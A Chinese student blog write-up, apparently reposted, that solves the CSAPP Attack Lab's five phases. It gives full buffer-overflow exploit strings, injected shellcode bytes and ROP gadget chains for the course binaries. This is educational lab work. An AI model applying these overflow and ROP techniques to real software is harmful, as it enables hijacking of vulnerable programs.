CSAPP Lab-3 ATTACKLAB

news/发布时间2024/5/11 20:13:50

书接上回,这次做到了第三个 Lab 啦。

任务描述

这一个 Lab 的任务就更有意思了,实验给了我们两个程序,每个程序都会让我们输入一行字符串,而它们是通过下面这个函数来读取的:

unsigned getbuf() {char buf[BUFFER_SIZE];Gets(buf);return 1;
}

其中,Gets 函数和 C 库的 gets 函数实现了相同的功能,从标准输入读取一行,并且存储到参数提供的地址上,不判断地址提供的有效空间是否存储得下。

而我们的任务就是利用缓冲区溢出,让本来应该直接输入完正常结束的程序,执行实验要求的某些函数。

实验希望我们使用两种攻击方法,分别是注入攻击(Code injection, CI)和 ROP 攻击(Return-oriented programming)。实验提供了两个相应的程序,CTARGETRTARGET,分别用来配合注入攻击和 ROP 攻击。一共有 \(5\) 个任务,其中分为 \(3\) 个注入攻击任务和两个 ROP 攻击任务。

image-20230903204102436

前置知识

  1. 对于程序运行的栈帧格式是一定要熟悉的。当然,仅仅依靠这个图是不行的,不同栈使用方式、系统环境都会让编译器选择不同的分配方式,因此要结合反汇编程序来观察。

    image-20230903204546509
  2. 想要代码注入的话,那么需要输入代码的字节级表示,显然是不能使用可见字符的形式输入的。实验为我们提供了 hex2raw 程序,可以帮我们将十六进制串转变为二进制文件以供输入。

  3. 注意小端法机器的十六进制序列输入顺序。

  4. 要先使用 objdump -d ctargetobjdump -d rtarget 来获取两个程序的反汇编。

Phase 1 CI touch1

第一个任务比较简单,我们不需要进行代码注入,只需要修改函数的返回位置即可。

根据实验说明,ctarget 程序中的 getbuf 都是通过下面的函数调用的:

void test() {int val;val = getbuf();printf("No exploit. Getbuf returned 0x%x\n", val);
}

而我们的任务就是使得 getbuf 函数在返回的时候,不返回到 test 中,而是返回到下面的 touch1 函数里。

void touch1() {vlevel = 1; /* Part of validation protocol */printf("Touch1!: You called touch1()\n");validate(1);exit(0);
}

这个任务非常简单,我们先观察一下 getbuf 函数的汇编指令:

00000000004017a8 <getbuf>:4017a8:	48 83 ec 28          	sub    $0x28,%rsp4017ac:	48 89 e7             	mov    %rsp,%rdi4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>4017b4:	b8 01 00 00 00       	mov    $0x1,%eax4017b9:	48 83 c4 28          	add    $0x28,%rsp4017bd:	c3                   	retq   4017be:	90                   	nop4017bf:	90                   	nop

可见,getbuf 函数的 buf 数组是在函数执行前的栈指针下 0x28 位的,而栈指针在函数执行前指向的位置就应该是返回地址存储的位置。因此,函数返回地址就存在 buf 的开始地址后 \(40\) 位处。

因此,我们随便输入 \(40\) 个字符以后,输入 touch1 的地址即可。

touch1 的地址是 00000000004017c0,我们将需要转化为字符串的数据写入 phase1.txt

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

image-20230903211356830

爆破成功!

Phase 2 CI touch2

第二个任务就有点难度了。这个任务要求我们调用下面的函数:

void touch2(unsigned val) {vlevel = 2;       /* Part of validation protocol */if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);}else{printf("Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);
}

这个函数和 touch1 不同的是,touch2 这个函数还带了一个参数,要求我们传递一个 unsigned 类型的参数,这个函数会把参数和 cookie 作比较,相同了才能通过这个任务。

想要传递参数,那么就不能修改返回地址直接 rettouch2,而是要先跳转到我们自己注入的一段代码,执行后再 rettouch2 的地址。

那么应该和 phase1 类似的是,我们要先输入任意的 40 个字节,然后跟着的应该是我们注入的代码的地址,这样在 getbuf 函数 ret 以后跳转的位置应该就是我们注入的指令了。在我的规划中,我打算继续紧接着放 touch2 的地址 00000000004017ec,因为在第一次 ret 以后栈指针会加 \(8\),指向的应该就是我们放这个地址的位置了。(当然,将 touch2 的地址在注入的代码中再压入栈里可能是一种更直观的方法)

注意到第一个参数使用的寄存器一般是 %rdi,我们的 cookie0x59b997fa,因此我们很容易写出我们应该注入的代码:

movq $0x59b997fa, %rdi
ret

shell 中执行:

gcc -c phase2.s
objdump -d phase2.o

就可以得到这段代码的二进制序列了:

image-20230903213615682

48 c7 c7 fa 97 b9 59 c3

这段代码的长度不长,只有几个字节,直接放进 buf 数组的位置中就可以了。

还有一个问题就是这段注入的代码的地址怎么获得呢?这就需要我们在注入这段代码的时候,栈指针的位置,也就是 buf 数组的地址了。我们可以使用 gdb 来获得它的地址,只需要在运行之前,在 getbuf 函数分配栈帧的代码后设置断点即可,在 gdb 打断后输入 %rsp 的值。

image-20230903214459843

于是我们得到了代码的注入位置 0x5561dc78

于是我们输入的十六进制序列应该是:

48 c7 c7 fa 97 b9 59 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00

结果……就在我以为我要通过了的时候:

image-20230903215547877

可能是因为输入的串太长了,导致了程序出现了一个 segmentation fault……

没办法,还是用把 touch2 地址在注入代码中压入栈的方法把。

movq $0x59b997fa, %rdi
pushq $0x00000000004017ec
ret
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

image-20230903215944551

终于,爆破成功!

Phase 3 CI touch3

第三个任务和第二个任务很相似,只不过,第三个任务要把字符串形式的 cookie 作为参数传入,而不是 unsigned 形式的。

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{char cbuf[110];/* Make position of check string unpredictable */char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{vlevel = 3; /* Part of validation protocol */if (hexmatch(cookie, sval)) {printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}

在实验说明中给出了 hexmatch 函数和 touch3 函数的实现,可以看出 hexmatch 函数会将 cookie 转化为一个 \(8\) 个字符的十六进制,然后和我们传入的字符串比较是否相等。

于是我们的思路也很简单,我们先将 cookie 的字符串存进一个位置中,然后将这个地址赋值给 %rdi 即可,其余的部分保持和 Phase2 一样(touch3 的地址也替换掉)。

然后你可能就会立刻开始操作,将字符串存储进 getbuf 的缓冲区的一个位置,计算出这个位置的地址填进 %rdi。然而……这个思路可能会有一些问题(哈哈哈哈我自己试了一遍才发现不行):因为在 hexmatch 中会新开一个长 cbuf 数组,在这个数组中的任意一个位置都有可能会被 ssprintf 输出。而我们存储字符串的位置在这个函数调用时的栈指针下面,是栈扩展的方向,因此我们的字符串可能会被覆盖掉!

为了避免这个问题,我们可以将字符串存储在返回地址的后面,也就是 buf + 0x28 + 0x8 的位置,这样就不会被覆盖了。根据 Phase2 的结果,buf 的地址是 0x5561dc78 + 0x30 = 0x5561dca8

另外,touch3 的地址是 00000000004018fa,于是我们可以写出汇编代码:

movq $0x5561dca8, %rdi
pushq $0x00000000004018fa
ret

转化成机器码序列:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

进而,我们的十六进制输入序列就是:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61

image-20230903223629014

爆破成功!

Phase 4 ROP touch2

代码注入的攻击方式虽然简单,但是很容易就可以让它无法成功:比如限制栈区域的数据是不可执行的,或者使用栈随机化等方法。

另一个被称为 ROP 攻击的方法,通过在我们现有代码中,寻找部分可以为我们所有的片段组合起来,形成我们的攻击。我们在代码中找到若干个片段,每个片段包括一系列的指令,最后跟着一个 ret 指令。我们可以将数个代码片段的地址放在返回地址中,形成下图所示的结构,使得在当前函数返回的时候,可以依次进入到我们每个代码片段中执行一遍,然后再一次 ret 就可以进入下一个代码片段中。这样的每个片段被我们称为 gadget

image-20230903233449101

当然,我们并不一定每次都能找到所有需要的操作。不过我们可以使用一些奇怪的方法来完成,比如从一个指令的一半处截取。比如以下的函数:

void setval_210(unsigned *p)
{*p = 3347663060U;
}

它的汇编代码是:

0000000000400f15 <setval_210>:400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)400f1b: c3                  retq

我们从 0x400f18 出开始执行,那么我们得到的等价指令就是:

movq %rax, %rdi
ret

而在我们的任务中,我们可以使用实验提供的 gadget farm 中的片段,gadget farm 在 rtarget 程序的 start_farm 和 end_farm 两个函数之间,我们只能使用这里面的 gadget。

我们现在来看 Phase4。

Phase4 要求我们实现 Phase2 相同的功能,只不过是使用 ROP 的方式。

回忆一下我们 Phase2 使用的汇编代码:

movq $0x59b997fa, %rdi
pushq $0x4017ec
ret

对应于一段 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 的机器指令。

然而很遗憾,我们根本不可能找到这些能恰好表示出立即数的片段。一个很容易想到的方法是将 $0x59b997fa$0x4017ec 依次放入栈中,然后调用下面的汇编指令来实现我们的需求:

popq %rdi
ret

对应的机器码只有 5f c3 这么简单。然而……即使只有这么简单,在实验提供的 gadget farm 中也完全找到符合要求的片段。

那么我们只能考虑能不能把 popq %rdi 的需求分开来实现。考虑到我们刚刚才举例过一个 movq %rax, %rdi 的例子,而这个例子就出自 gadget farm,我们只要找到 popq %rax; ret 就可以补齐了,这两个指令对应的编码是 58 c3

……然而,还是找不到……

但是,我们可以发现实验给了个提示:

nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1.

我们可以在 popq %rax 后面插入若干个 nop 指令来保持相同的功能。于是我们开始搜索 58 90

很快,我们就找到了这个 gadget:

00000000004019a7 <addval_219>:4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax4019ad:	c3                   	retq   

最后的三个字节 58 90 c3 完美符合我们的需要。这个位置的地址应该是 0x4019a7 + 4 = 4019ab

然而我发现我找不到之前 movq %rax, %rdi 的例子里提到的 setval_210 函数……敢情实验文档在骗我……那就搜索一下把。

这个指令的编码是 48 89 c7。第一次搜索发现找不到合适的,那就补充一个 nop48 89 c7 90……寻找成功!

00000000004019c3 <setval_426>:4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)4019c9:	c3                   	retq   

位置应该是 0x4019c3 + 2 = 0x4019c5

因此,我们可以构造出我们的攻击串了:\(40\) 个任意字符,加上 4019ab,接上我们需要从栈中弹出的 cookie:0x59b997fa ,加上第二个 gadget 的地址 0x4019c5,最后是 touch2 的地址:0x4017ec

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

image-20230904000618443

爆破成功!

PS:其实还有另一个解,

00000000004019a0 <addval_273>:4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax4019a6:	c3                   	retq   

这个函数从 0x4019a0 + 2 = 0x4019a2 开始,也形成了一个 48 89 c7 c3 ,虽然这个 c3 不是原来天然的 ret,但是也是可以用的。

Phase 5 ROP touch3

Phase 5 的任务和 Phase 3 很相似,只不过我们需要使用 ROP 攻击的方式完成。

让我们先来回顾一下 Phase 3 的攻击方法。我们注入了以下这段代码的机器码到栈中,并将栈地址和字符串内容分别放在了返回地址及其后面 \(8\) 个字节上。

0000000000000000 <.text>:0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi7:   68 fa 18 40 00          pushq  $0x4018fac:   c3                      retq

显然我们这个代码中应该采用类似的思路,但是我们知道很难找到这样的完整的立即数地址。

所以我们现在是不是应该有一个很清晰的思路了:和 Phase 4 类似,对于第一条指令的立即数地址(也就是我们存放 cookie 字符串的地址),我们将之放入栈中,通过 popq 指令提取出来。对于第二条指令,我们将 touch3 的指令放进栈里,直接 ret 就可以到达了,不必专门在指令中压栈。

如果你是这样想——那么很遗憾,这是行不通的。因为采取了栈随机化的策略,我们没有办法知道每次运行时栈指针的位置,也就不知道 buf 数组开始的地址了。因此我们没办法找到我们放字符串的地址,也就没法提前写进我们攻击的字符串里。

那么怎么解决呢?cookie 字符串是只能放在栈里的,这是没有办法绕开的,因此我们只能从怎么表示出这个地址上入手。很明显,我们存放 cookie 串的位置和每次运行栈的相对位置是不变的——或者说偏移量是固定的。

当然,偏移量一般是用立即数来表示的,但是如果我们用立即数那么肯定需要使用 addq 指令,这个指令的机器码一定会含有 48 83,这在我们的 farm 中除了根本找不到。

那么我们还有一种策略就是将偏移存储进栈中,然后从栈中读取,再和 %rsp 的副本做运算即可。可以使用 leaq 指令来完成这个运算。

这样我们可以大概写出我们需要的汇编指令:

movq %rsp, %rxx
popq %ryy					# 栈中这个 gadget 的后面应该是偏移量的值
leaq (%rxx, %ryy, 1), %rdi
ret

其中,%rxx %ryy 可以是任意一个寄存器。

当然,想要直接找到满足我们需要的指令显然是不可能的,我们可以找很多可以间接使用的指令。

一句一句来找吧!movq %rsp, %rxx 对应的机器码是 48 89 e?,当然还要再加上一个 retc3)。我们尝试找到类似 movq %rsp, %rxx 的所有指令,只有 movq %rsp, %rax 找成功了,地址是 0x401a03 + 3 = 401a06

0000000000401a03 <addval_190>:401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax401a09:	c3                   	retq   

当然,只有 movq %rsp, %rax 并不保险,为了以防 %rax 并不能一步到位,我们再找到类似于 movq %rax, %??? 的所有指令,其编码应该是 48 89 c?,这里我们只找到了 movq %rax, %rdi 的指令,也就是前一个 Phase 中我们找到的,位于 0x4019c5

00000000004019c3 <setval_426>:4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)4019c9:	c3                   	retq   

当然,movl 的指令也是可以用的,这里我们也找出来 movl %eax, %e?? 的所有指令,其机器码应为 89 c?。我们也只找到了两条,0x4019a3movl %eax, %edi4019ddmovl %eax, %edx

00000000004019a0 <addval_273>:4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax4019a6:	c3                   	retq   00000000004019db <getval_481>:4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax4019e0:	c3                   	retq   

(我们也尝试找了 movl %esp, %e?? 的指令,但是只有 movl %esp, %eax,与 movq 版本的指令意义重复了)

接下来是 popq %ryy,这个指令的机器码是 5?,只能找到这一种类型popq %rax,位于0x4019a7 + 4 = 4019ab

00000000004019a7 <addval_219>:4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax4019ad:	c3                   	retq   

很显然,因为我们找到的 %rxx%ryy 都是 %rax,因此我们必须要将 %rxx 拷贝进别的寄存器。我们先寻找一下第三条语句需要的寄存器,再决定前两条语句怎么拷贝。

gadget farm 中有现成的 leaq (%rdi,%rsi,1),%rax 语句,如果我们直接利用现成的语句,需要将一个 %rax 拷贝到 %rdi 中,另一个拷贝到 %rsi 中。拷贝到 %rdi 中我们是有已经找好的指令的,但是拷贝到 %rsi 中我们还没有找到。

00000000004019d6 <add_xy>:4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax4019da:	c3                   	retq   

我们已经可以做到从 %rax 拷贝到 %rdx%rdi,那么我们不妨使用它们作为中转,找到到达 %rsi 的路径。我们无法找到 movl %edi, %e?? 的指令,但是可以找到一条满足 movl %edx, %ecx 的指令,位于 0x401a68 + 1 = 401a69。这个指令中,我们需要的指令是 89 d1 08 db c3,其中 89 d1movl %edx, %ecxc3ret,中间的 08 db 代表 xorb %bl,不会做出实际的运算,所以可以当做 nop 使用。

0000000000401a68 <getval_311>:401a68:	b8 89 d1 08 db       	mov    $0xdb08d189,%eax401a6d:	c3                   	retq   

好,我们现在再从 %rcx 出发,寻找到达 %rsi 的路径。很快我们就找到了这样一条 movl %ecx, %esi,成功啦!这条指令位于 0x401a11 + 2 = 0x401a13

0000000000401a11 <addval_436>:401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax401a17:	c3                   	retq   

好,现在我们可以整理出我们目前已经找到的指令了:

movq %rsp, %rax			# 0x401a06
movq %rax, %rdi			# 0x4019c5
popq %rax				# 0x4019ab
movl %eax, %edx			# 0x4019dd
movl %edx, %ecx 		# 0x401a69
movl %ecx, %esi			# 0x401a13
leaq (%rdi,%rsi,1),%rax	# 0x4019d6
movq %rax, %rdi			# 0x4019c5

成功!

现在我们只需要再整理一下栈帧即可。

image-20230904143604048

上图就是我们本次注入的栈帧示意图,相应的十六进制序列是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

image-20230904143837466

爆破成功!

最后

这一次的实验任务还是很有趣味的,虽然感觉并不一定能教会我什么东西……但是让我对于过程调用的栈帧机制有了更深刻的理解,之前很多在书上学到的纸面知识在实践中被亲手验证和利用的感觉还是很不错的,也确实会让我在之后多家警惕这种由缓冲区溢出带来的危害。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/50668141.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

VS Code如何创建HTML文件并运行(新手友好)

一、下载VS Code 首先从官网 https://code.visualstudio.com/下载VS Code 。 二、在VS Code中下载相关的插件 1、首先打开Visual Studio Code 2、点击左侧工具栏中“扩展”栏,也可使用扩展快捷键打开(Ctrl+Shift+X),打开扩展下载以下三个插件。(三个插件安装完成后都需要重…

掘金、聚宽和米筐各量化平台优缺点

1、聚宽和米筐的商业模式主要是卖数据,掘金有自己做实盘, 2、聚宽有策略商城可以卖策略,掘金社区不太活跃 3、平台都有相关书籍,可以对照,有源码,掘金《》, 4、以python为例,掘金易用性较好,API文档清晰,windows客户端做的比较好, 策略都在本地运行, 很好的python代码…

「锐利」升级到13.5版本,重磅推出插拼式智能拼版等多项新功能!

国产印前处理软件「锐利」的又一次重磅升级!包装印前软件「锐利」又升级了!13.5版本! 锐利是集印前行业三十多年的技术和经验开发的一款包装印前处理软件,提供陷印、拼大版、预览、智能标记、预飞、工具箱、导出图像、搜索器、油墨编辑、曲线调整、模拟套印不准、导入标准P…

FormData传输JSON同时上传单个/多个文件问题

背景 最近在开发一个功能时,涉及到向后端接口发送:JSON请求参数 多个文件 刚开始想通过RequestBody(application/json)形式进行传值,但是文件不好处理。有一个通过application/json传输文件数据的方法,就是将文件转成base64,然后在后端进行处理。但是这种方式涉及到大文…

[dp 小计] SOSdp

复健 SOSdp(sum over subsets dynamic programming)。 引入 令 \(F(x)=\sum\limits_{u\subseteq x} A(u)\) 其中 \(A\) 为给定数组,求出 \(\forall x, F(x)\) 。 思路一 暴力枚举子集,时间复杂度 \(O(4^n)\)。 思路二 优化子集枚举,时间复杂度 \(O(3^n)\)。 思路三 考虑 SOS…

WDS+MDT网络启动自动部署windows(七)添加驱动

简介: 以前的ghost,是封装万能驱动。 现在安装原版ISO,是手动安装驱动。 那么WDS+MDT,怎么装驱动更方便呢? 本来是轻接触,lite touch,通过设置rules,bootstrap,可以达到只选择一下任务序列即可。 那么也要自动安装驱动。 WDS也可以注入驱动,但是是在使用原版安装镜像…